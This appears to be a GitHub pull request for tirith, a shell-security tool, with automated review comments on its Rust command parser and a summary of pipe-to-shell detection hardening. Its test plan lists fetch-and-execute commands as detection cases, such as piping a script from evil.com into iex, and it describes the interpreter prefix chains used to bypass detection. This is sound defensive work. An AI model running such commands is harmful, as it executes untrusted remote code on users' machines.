Conversation
Comment on lines
+472
to
+475
| if normalized.starts_with("--") || normalized.starts_with('-') || normalized.contains('=') { | ||
| idx += 1; | ||
| continue; | ||
| } |
There was a problem hiding this comment.
🟢 Low rules/command.rs:472
In resolve_step_generic, the check normalized.contains('=') skips any argument containing =, but this incorrectly filters commands whose paths legitimately contain = (e.g., /opt/foo=bar/program). Such commands are skipped entirely instead of being resolved to their base name. Consider requiring the = to appear before any path separator, or checking that the string before = is a valid identifier pattern, to distinguish true environment assignments from paths.
- // Skip flags and assignments
- if normalized.starts_with("--") || normalized.starts_with('-') || normalized.contains('=') {
- idx += 1;
- continue;
- }🚀 Reply "fix it for me" or copy this AI Prompt for your agent:
In file crates/tirith-core/src/rules/command.rs around lines 472-475:
In `resolve_step_generic`, the check `normalized.contains('=')` skips any argument containing `=`, but this incorrectly filters commands whose paths legitimately contain `=` (e.g., `/opt/foo=bar/program`). Such commands are skipped entirely instead of being resolved to their base name. Consider requiring the `=` to appear before any path separator, or checking that the string before `=` is a valid identifier pattern, to distinguish true environment assignments from paths.
Evidence trail:
crates/tirith-core/src/rules/command.rs:472 - the check `normalized.contains('=')` is present in the condition; crates/tirith-core/src/rules/command.rs:473-474 - when condition is true, the loop skips the argument with `continue`; crates/tirith-core/src/rules/command.rs:41-80 - `normalize_shell_token` does not filter or modify `=` characters; the code comment at line 471 "Skip flags and assignments" confirms the intent but the implementation catches more than just assignments
80ab7ee to
818eaa1
Compare
818eaa1 to
f01c802
Compare
f01c802 to
c501b9c
Compare
c501b9c to
cb733a6
Compare
| } | ||
| } | ||
| // SINGLE_QUOTE: everything literal until closing ' | ||
| QState::Single => { |
There was a problem hiding this comment.
🟢 Low rules/command.rs:117
In PowerShell, single quotes inside single-quoted strings are escaped by doubling them ('' → '), but QState::Single exits on the first ' regardless. For input 'it''s' with ShellType::PowerShell, the function produces its instead of it's.
🚀 Reply "fix it for me" or copy this AI Prompt for your agent:
In file crates/tirith-core/src/rules/command.rs around line 117:
In PowerShell, single quotes inside single-quoted strings are escaped by doubling them (`''` → `'`), but `QState::Single` exits on the first `'` regardless. For input `'it''s'` with `ShellType::PowerShell`, the function produces `its` instead of `it's`.
Evidence trail:
crates/tirith-core/src/rules/command.rs lines 117-124 (QState::Single implementation that exits on first `'`), crates/tirith/src/cli/setup/shell_profile.rs line 445 (test showing PowerShell uses `''` escape: `'/opt/it''s/tirith'`), crates/tirith-core/src/rules/command.rs lines 2145-2151 (only PowerShell test is for backtick, not single-quote escaping), crates/tirith-core/src/rules/command.rs lines 82-85 (`is_ps = matches!(shell, ShellType::PowerShell)` - shell type detection exists but not used in Single state)
…dening (GHSA-mf2g-pj5w-8799) **Issue #36 — getvet.sh integration (docs + hints):** - Pipe-to-shell findings now suggest `vet` and `tirith run` as safer alternatives - Platform-aware: `tirith run` only on Unix for POSIX fetch sources; vet everywhere - Shell-aware: PowerShell context (including curl/wget aliases) gets vet-only hints - URL extraction from args with shell-quote normalization and --flag=value support - Sanitize extracted URLs to prevent ANSI injection in terminal output - Cookbook section 7: "vet (getvet.sh) — Safe Pipe-to-Shell" **GHSA-mf2g-pj5w-8799 — interpreter detection bypass class:** - Canonical INTERPRETERS list (26 entries) with drift tests against tier-1 regex - normalize_shell_token() state machine for robust shell-quote stripping - resolve_interpreter_name() handles sudo/env/command/exec/nohup prefix chains - Extended interpreter coverage: fish, csh, tcsh, ash, mksh, python2/3, deno, bun, lua, tclsh, elixir, rscript, pwsh - Hardened tier-1 regex to match new interpreter + prefix patterns - Shell hooks pass --shell flag for accurate shell-family detection **Additional fixes:** - sudo combined short flags (-iu root) correctly resolved - -- end-of-options stops flag-skipping in interpreter resolution - ANSI-C quoting ($'...') restricted to POSIX shells only (not Fish)
cb733a6 to
fe569df
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
vetandtirith runas safer alternatives. Platform/shell-aware hints (Unix POSIX → both; PowerShell/non-Unix → vet only). URL extraction with quote normalization,--flag=valuesupport, and ANSI sanitization. Added cookbook section 7.INTERPRETERSlist (26 entries) with drift tests,normalize_shell_token()state machine,resolve_interpreter_name()for sudo/env/command/exec/nohup prefix chains, extended interpreter coverage (fish, csh, tcsh, ash, mksh, python2/3, deno, bun, lua, tclsh, elixir, rscript, pwsh), hardened tier-1 regex, shell hooks pass--shellflag.Test plan
cargo test --workspace)cargo clippy --workspace -- -D warningscleancargo fmt --allappliedcurl https://example.com/install.sh | bash→ shows tirith run + vet hint (Unix)iwr https://evil.com/script.ps1 | iex→ shows vet-only hint (no tirith run)cat /tmp/script.sh | bash→ no hint (non-fetch source)curl https://example.com/install.sh | vet→ allowed (exit 0)Closes #36
Note
Add remediation hints for pipe-to-shell via getvet.sh and harden interpreter detection across
crates/tirith-core/src/rules/command.rsand CLI paste hooksIntroduce canonical interpreter list, robust token normalization and interpreter resolution through wrappers, and remediation hints that suggest
vet <url>andtirith run <url>for pipe-to-interpreter findings; update paste hooks to support--interactiveandTIRITH=0bypass and bump workspace to 0.2.5.📍Where to Start
Start with
rules.command.check_pipe_to_interpreterand supporting resolvers in crates/tirith-core/src/rules/command.rs, then review the tier-1 regex in crates/tirith-core/build.rs and CLI paste flag handling in crates/tirith/src/cli/paste.rs.Macroscope summarized 2283f02.